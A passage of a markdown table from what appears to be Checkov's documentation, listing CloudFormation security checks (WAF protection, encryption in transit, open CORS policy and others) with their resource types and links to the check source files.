values                                                                                                                                             | Cloudformation | [ParameterStoreCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ParameterStoreCredentials.py)                                                             |\n|  180 | CKV2_AWS_33 | resource | AWS::AppSync::GraphQLApi                                         | Ensure AppSync is protected by WAF                                                                                                                                                                       | Cloudformation | [AppSyncProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/AppSyncProtectedByWAF.yaml)                                                                 |\n|  181 | CKV2_AWS_68 | resource | AWS::IAM::Role                                                   | Ensure SageMaker notebook instance IAM policy is not overly permissive                                                                                                                                   | Cloudformation | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml)               |\n|  182 | CKV2_AWS_68 | resource | AWS::SageMaker::NotebookInstance                                 | Ensure SageMaker notebook instance IAM policy is not overly permissive                                                                                                                                   | Cloudformation | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml)               |\n|  183 | CKV2_AWS_69 | resource | AWS::RDS::DBInstance                                             | Ensure AWS RDS database instance configured with encryption in transit                                                                                                                                   | Cloudformation | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/RDSEncryptionInTransit.yaml)                                                               |\n|  184 | CKV2_AWS_69 | resource | AWS::RDS::DBParameterGroup                                       | Ensure AWS RDS database instance configured with encryption in transit                                                                                                                                   | Cloudformation | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/RDSEncryptionInTransit.yaml)                                                               |\n|  185 | CKV2_AWS_71 | resource | AWS::CertificateManager::Certificate                             | Ensure AWS ACM Certificate domain name does not include wildcards                                                                                                                                        | Cloudformation | [ACMWildcardDomainName.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/ACMWildcardDomainName.yaml)                                                                 |\n|  186 | CKV2_AWS_72 | resource | AWS::CloudFront::Distribution                                    | Ensure AWS CloudFront origin protocol policy enforces HTTPS-only                                                                                                                                         | Cloudformation | [CloudfrontOriginNotHTTPSOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/CloudfrontOriginNotHTTPSOnly.yaml)                                                   |\n|  187 | CKV2_AWS_75 | resource | AWS::Lambda::Function                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  188 | CKV2_AWS_75 | resource | AWS::Lambda::Url                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  189 | CKV2_AWS_75 | resource | aws                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  190 | CKV2_AWS_75 | resource | aws_accessanalyzer_analyzer                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  191 | CKV2_AWS_75 | resource | aws_accessanalyzer_archive_rule                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  192 | CKV2_AWS_75 | resource | aws_account_alternate_contact                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  193 | CKV2_AWS_75 | resource | aws_account_primary_contact                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  194 | CKV2_AWS_75 | resource | aws_account_region                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  195 | CKV2_AWS_75 | resource | aws_acm_certificate                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  196 | CKV2_AWS_75 | resource | aws_acm_certificate_validation                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  197 | CKV2_AWS_75 | resource | aws_acmpca_certificate                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  198 | CKV2_AWS_75 | resource | aws_acmpca_certificate_authority                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  199 | CKV2_AWS_75 | resource | aws_acmpca_certificate_authority_certificate                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  200 | CKV2_AWS_75 | resource | aws_acmpca_permission                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  201 | CKV2_AWS_75 | resource | aws_acmpca_policy                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  202 | CKV2_AWS_75 | resource | aws_alb                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  203 | CKV2_AWS_75 | resource | aws_alb_listener                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  204 | CKV2_AWS_75 | resource | aws_alb_listener_certificate                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  205 | CKV2_AWS_75 | resource | aws_alb_listener_rule                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  206 | CKV2_AWS_75 | resource | aws_alb_target_group                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  207 | CKV2_AWS_75 | resource | aws_alb_target_group_attachment                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  208 | CKV2_AWS_75 | resource | aws_ami                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  209 | CKV2_AWS_75 | resource | aws_ami_copy                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  210 | CKV2_AWS_75 | resource | aws_ami_from_instance                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  211 | CKV2_AWS_75 | resource | aws_ami_launch_permission                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  212 | CKV2_AWS_75 | resource | aws_amplify_app                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  213 | CKV2_AWS_75 | resource | aws_amplify_backend_environment                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  214 | CKV2_AWS_75 | resource | aws_amplify_branch                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  215 | CKV2_AWS_75 | resource | aws_amplify_domain_association                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  216 | CKV2_AWS_75 | resource | aws_amplify_webhook                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  217 | CKV2_AWS_75 | resource | aws_api_gateway_account                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  218 | CKV2_AWS_75 | resource | aws_api_gateway_api_key                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  219 | CKV2_AWS_75 | resource | aws_api_gateway_authorizer                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  220 | CKV2_AWS_75 | resource | aws_api_gateway_base_path_mapping                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  221 | CKV2_AWS_75 | resource | aws_api_gateway_client_certificate                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  222 | CKV2_AWS_75 | resource | aws_api_gateway_deployment                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  223 | CKV2_AWS_75 | resource | aws_api_gateway_documentation_part                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  224 | CKV2_AWS_75 | resource | aws_api_gateway_documentation_version                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  225 | CKV2_AWS_75 | resource | aws_api_gateway_domain_name                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  226 | CKV2_AWS_75 | resource | aws_api_gateway_domain_name_access_association                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  227 | CKV2_AWS_75 | resource | aws_api_gateway_gateway_response                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  228 | CKV2_AWS_75 | resource | aws_api_gateway_integration                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  229 | CKV2_AWS_75 | resource | aws_api_gateway_integration_response                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  230 | CKV2_AWS_75 | resource | aws_api_gateway_method                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  231 | CKV2_AWS_75 | resource | aws_api_gateway_method_response                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  232 | CKV2_AWS_75 | resource | aws_api_gateway_method_settings                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  233 | CKV2_AWS_75 | resource | aws_api_gateway_model                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  234 | CKV2_AWS_75 | resource | aws_api_gateway_request_validator                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  235 | CKV2_AWS_75 | resource | aws_api_gateway_resource                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  236 | CKV2_AWS_75 | resource | aws_api_gateway_rest_api                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  237 | CKV2_AWS_75 | resource | aws_api_gateway_rest_api_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  238 | CKV2_AWS_75 | resource | aws_api_gateway_stage                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  239 | CKV2_AWS_75 | resource | aws_api_gateway_usage_plan                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  240 | CKV2_AWS_75 | resource | aws_api_gateway_usage_plan_key                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  241 | CKV2_AWS_75 | resource | aws_api_gateway_vpc_link                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  242 | CKV2_AWS_75 | resource | aws_apigatewayv2_api                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  243 | CKV2_AWS_75 | resource | aws_apigatewayv2_api_mapping                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  244 | CKV2_AWS_75 | resource | aws_apigatewayv2_authorizer                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  245 | CKV2_AWS_75 | resource | aws_apigatewayv2_deployment                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  246 | CKV2_AWS_75 | resource | aws_apigatewayv2_domain_name                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  247 | CKV2_AWS_75 | resource | aws_apigatewayv2_integration                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  248 | CKV2_AWS_75 | resource | aws_apigatewayv2_integration_response                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  249 | CKV2_AWS_75 | resource | aws_apigatewayv2_model                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  250 | CKV2_AWS_75 | resource | aws_apigatewayv2_route                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  251 | CKV2_AWS_75 | resource | aws_apigatewayv2_route_response                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  252 | CKV2_AWS_75 | resource | aws_apigatewayv2_stage                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  253 | CKV2_AWS_75 | resource | aws_apigatewayv2_vpc_link                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  254 | CKV2_AWS_75 | resource | aws_app_cookie_stickiness_policy                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  255 | CKV2_AWS_75 | resource | aws_appautoscaling_policy                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  256 | CKV2_AWS_75 | resource | aws_appautoscaling_scheduled_action                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  257 | CKV2_AWS_75 | resource | aws_appautoscaling_target                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  258 | CKV2_AWS_75 | resource | aws_appconfig_application                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  259 | CKV2_AWS_75 | resource | aws_appconfig_configuration_profile                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  260 | CKV2_AWS_75 | resource | aws_appconfig_deployment                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  261 | CKV2_AWS_75 | resource | aws_appconfig_deployment_strategy                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  262 | CKV2_AWS_75 | resource | aws_appconfig_environment                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  263 | CKV2_AWS_75 | resource | aws_appconfig_extension                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  264 | CKV2_AWS_75 | resource | aws_appconfig_extension_association                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  265 | CKV2_AWS_75 | resource | aws_appconfig_hosted_configuration_version                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  266 | CKV2_AWS_75 | resource | aws_appfabric_app_authorization                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  267 | CKV2_AWS_75 | resource | aws_appfabric_app_authorization_connection                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  268 | CKV2_AWS_75 | resource | aws_appfabric_app_bundle                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  269 | CKV2_AWS_75 | resource | aws_appfabric_ingestion                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  270 | CKV2_AWS_75 | resource | aws_appfabric_ingestion_destination                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  271 | CKV2_AWS_75 | resource | aws_appflow_connector_profile                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  272 | CKV2_AWS_75 | resource | aws_appflow_flow                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  273 | CKV2_AWS_75 | resource | aws_appintegrations_data_integration                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  274 | CKV2_AWS_75 | resource | aws_appintegrations_event_integration                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  275 | CKV2_AWS_75 | resource | aws_applicationinsights_application                              | Ensure no open CORS 